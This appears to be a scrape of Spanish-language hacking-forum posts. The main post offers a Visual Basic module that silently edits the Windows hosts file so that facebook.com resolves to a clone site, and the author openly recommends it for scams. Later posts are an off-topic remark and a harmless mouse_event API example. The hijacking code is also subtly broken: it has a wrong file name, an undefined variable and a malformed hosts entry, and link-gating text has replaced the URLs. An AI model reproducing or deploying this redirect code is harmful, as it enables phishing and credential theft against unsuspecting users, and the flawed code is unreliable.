mirando en el baul de los recuerdos de mis codes, encontré este:

este es un modulo que nos permite hacer que al entrar a una web redirija a otra, sin mostrarnos un cambio de url, por ejemplo que al entrar a google carge infiernohacker pero siga diciendo "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"

nuevo proyecto exe standard, borramos el formulario principal, agregamos un modulo y pegamos este codigo:

Código: vb
'###################################################################
'
'  ####  ####   ####   ####  ####    ##   ##     ## ##     ## #### ####
'  #   # #   # #    # #      #   #  #  #  # #   # # # #   # # #    #   #
'  #   # #   # #    # #      #   # #    # #  ###  # #  ###  # #    #   #
'  ####  ####  #    # #  ##  ####  ###### #   #   # #   #   # #### #   #
'  #     ##    #    # #    # ##    #    # #       # #       # #    #   #
'  #     # #   #    # #    # # #   #    # #       # #       # #    #   #
'  #     #  #   ####   ####  #  #  #    # #       # #       # #### ####
'
'  #####    ##    ##
'  #    #    #    #
'  #    #     #  #
'  #####       ##
'  #    #      ##
'  #    #      ##
'  #####      ####
'
' ##    ##    #     ####  ##    ##  #####   #     ## #     ## #####  #     ##
'  #    #    # #    #   #  #   #   #     #  ##    #  ##    #  #      ##    #
'  #    #   #   #   #   #  #  #    #     #  # #   #  # #   #  #      # #   #
'  ######   #####   ####   ###     #     #  #  #  #  #  #  #  #####  #  #  #
'  #    #   #   #   ##     #  #    #     #  #   # #  #   # #  #      #   # #
'  #    #   #   #   # #    #   #   #     #  #    ##  #    ##  #      #    ##
' ##    ## ##   ## ##  ## ##    ##  #####  ##     # ##     #  ##### ##     #
'
'#####################################################################

'###########################
'#  HostEditModule         #
'# programmed by harkonnen #
'#    INFIERNOHACKER.COM   #
'# (c) 2011                #
'###########################

' &&& detalles &&&

' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
' para ello editaremos el archivo HOST de windows.
' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir

'########### constantes ########
Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
'Const initialpage2 = "hotmail.com"
Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
'const replacepage2 = "hotmail.clonesweb.com"

Public Sub main() 'iniciamos programa
Dim inmemory As String
Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
alex = FreeFile 'aclaramos que alex sera para libre archivo
    Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
        inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
    Close #alex 'cerramos e archivo que estaba habierto en la variable alex
inmemory = inmemory & replacepage1 & "    " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
'inmemory = inmemory & replacepage2 & "    " & initialpage2 & vbCrLf ' la segunda redireccion
    Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
        Print #alex, inmemory 'ponemos el archivo modificado
    Close #alex 'cerramos guardando todo.
'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
End Sub


en el ejemplo reemplaza You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login por You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login xDDD sirve para scams  ::) ::) no se me hagan los lamercillos, es solo un ejemplo.

saludos!
#719
Off Topic / Quien puede preguntar algo así?
Enero 26, 2013, 02:57:07 AM
eso mismo, será para llamar la atención o realmente no tiene idea de lo que dice?

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

saludos!
#720
Códigos Fuentes / Re:Biblioteca de Apis de Windows
Enero 26, 2013, 02:41:25 AM
Nombre:
mouse_event

Declaracion:

Código: text
Private Declare Sub mouse_event Lib "user32.dll" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)


Explicacion:
simula las pulsaciones del mouse.

Ejemplo de uso:

Código: text
Option Explicit

Private Declare Sub mouse_event Lib "user32.dll" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
   Call mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
End Sub


Algunas constantes son:

Código: text
    * Private Const MOUSEEVENTF_LEFTDOWN As Long = &H2
    * Private Const MOUSEEVENTF_LEFTUP As Long = &H4
    * Private Const MOUSEEVENTF_MIDDLEDOWN As Long = &H20
    * Private Const MOUSEEVENTF_MIDDLEUP As Long = &H40
    * Private Const MOUSEEVENTF_MOVE As Long = &H1
    * Private Const MOUSEEVENTF_RIGHTDOWN As Long = &H8
    * Private Const MOUSEEVENTF_RIGHTUP As Long = &H10
    * Private Const MOUSEEVENTF_VIRTUALDESK As Long = &H4000
    * Private Const MOUSEEVENTF_WHEEL As Long = &H800
    * Private Const MOUSEEVENTF_XDOWN As Long = &H80
    * Private Const MOUSEEVENTF_XUP As Long = &H100